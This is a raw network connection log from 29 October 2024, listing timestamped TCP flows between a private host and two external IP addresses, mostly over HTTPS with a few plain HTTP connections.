Oct 29, 2024 15:27:14.003143072 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.003163099 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.005108118 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.005108118 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.005120993 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.005130053 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.007683992 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.008156061 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.008224010 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.008469105 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.008487940 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.008557081 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009267092 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009280920 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.009334087 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009517908 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009541035 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.009572983 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009583950 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.009970903 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.009984970 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.011276007 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.011288881 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.012130022 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.012141943 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.012231112 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.013046980 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.013065100 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.013114929 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.013171911 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.013183117 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.013298988 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.013313055 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.073488951 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.073565006 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.073702097 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.078125000 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.078125000 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.078142881 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.078150988 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.087912083 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.087981939 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.088057041 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.088352919 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.088382959 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.760632038 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.761513948 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.761539936 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.761562109 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.761929989 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.761935949 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.762262106 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.762276888 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.762679100 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.762684107 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.765609026 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.765886068 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.765897989 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.766288996 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.766294956 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.798321009 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.798671007 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.798680067 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.799185038 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.799189091 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.843326092 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.844425917 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.844441891 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.844908953 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.844913960 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.891259909 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.891642094 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.891709089 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.891735077 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.891756058 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.891767979 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.891773939 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.893150091 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.893630981 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.893727064 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.894383907 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.894404888 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.894459963 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.894459963 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.894464016 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.894469976 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.894490004 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.895292044 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.895304918 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.896536112 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.896600962 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.896713972 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.896820068 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.896850109 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.908855915 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.908906937 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.908962011 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.909111977 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.909111977 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.909118891 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.909126043 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.911057949 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.911079884 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.911159039 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.911273003 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.911284924 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.945137978 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.945288897 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.945400000 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.945468903 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.945473909 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.945485115 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.945488930 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.947752953 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.947788000 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.947858095 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.947982073 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.947997093 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.978132963 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.978210926 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.978293896 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.978534937 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.978569984 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.978596926 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.978615046 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.982657909 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.982750893 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.982819080 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.983068943 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.983102083 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.505234957 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:15.510654926 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:15.510737896 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:15.511428118 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:15.516796112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:15.626590014 CET	443	49702	173.222.162.64	192.168.2.6
Oct 29, 2024 15:27:15.626696110 CET	49702	443	192.168.2.6	173.222.162.64
Oct 29, 2024 15:27:15.653208017 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.654239893 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.654258966 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.654953957 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.654962063 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.680424929 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.684433937 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.708317041 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.725963116 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.730473042 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.730511904 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.731559992 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.731575966 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.732012033 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.732034922 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.732988119 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.733001947 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.733221054 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.733238935 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.734385014 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.734395027 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.734474897 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.734491110 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.735275984 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.735284090 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.787358046 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.787426949 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.787472963 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.787723064 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.787741899 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.787750959 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.787755966 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.792995930 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.793061018 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.793124914 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.793426991 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.793454885 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.861037970 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.861093998 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.861138105 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.861268044 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.861279011 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.861305952 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.861311913 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.865540028 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.865569115 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.865637064 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.865856886 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.865870953 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866111040 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866245985 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866282940 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866305113 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866341114 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.866355896 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.866549015 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.866555929 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.866565943 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.866569042 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.868074894 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.868087053 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.868093967 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.868098974 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.870897055 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.870950937 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.871010065 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.871242046 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.871273041 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.871335983 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.871567965 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.871594906 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.873400927 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.873419046 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.873475075 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.873574018 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.873603106 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.873629093 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.873641968 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.875861883 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.875876904 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.877471924 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.877502918 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:15.877712965 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.877851963 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:15.877880096 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.429712057 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:16.431360006 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:16.436638117 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:16.444015026 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:16.599585056 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.600296021 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.600346088 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.600763083 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.600775957 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.642782927 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.643326044 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.643343925 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.643709898 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.643713951 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.644896030 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.645236969 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.645242929 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.645567894 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.645570993 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.663881063 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.664294004 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.664315939 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.664666891 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.664680004 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.723721027 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.724284887 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.724308968 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.724687099 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.724693060 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.734476089 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:16.734611034 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:16.735743999 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:16.741441011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:16.749882936 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.749942064 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.751271009 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.751374006 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.751374960 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.751422882 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.751451015 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.754165888 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.754215956 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.754324913 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.754556894 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.754585028 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.776194096 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.777038097 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.777215958 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.777510881 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.777528048 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.777539015 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.777544975 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.780699015 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.780747890 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.780870914 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.780999899 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.781022072 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.781157017 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.781228065 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.781301975 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.781409025 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.781419039 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.781450987 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.781455994 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.783358097 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.783437014 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.783544064 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.783653975 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.783689022 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.805464029 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.805531979 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.805751085 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.805785894 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.805792093 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.805809021 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.805813074 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.808367968 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.808394909 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.808470964 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.808701038 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.808712959 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.871553898 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.871607065 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.871725082 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.871941090 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.871941090 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.871987104 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.872014999 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.874938011 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.874963999 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:16.875053883 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.875237942 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:16.875251055 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.067951918 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.068101883 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.068141937 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.068200111 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.068254948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.068312883 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.069153070 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.069209099 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.069807053 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.072531939 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.072598934 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.075612068 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.075674057 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.079812050 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.202898979 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.203484058 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.203538895 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.203730106 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.203958035 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.203974009 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.204252005 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.204262972 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.204591990 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.204600096 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.206140995 CET	443	49749	13.107.246.45	192.168.2.6
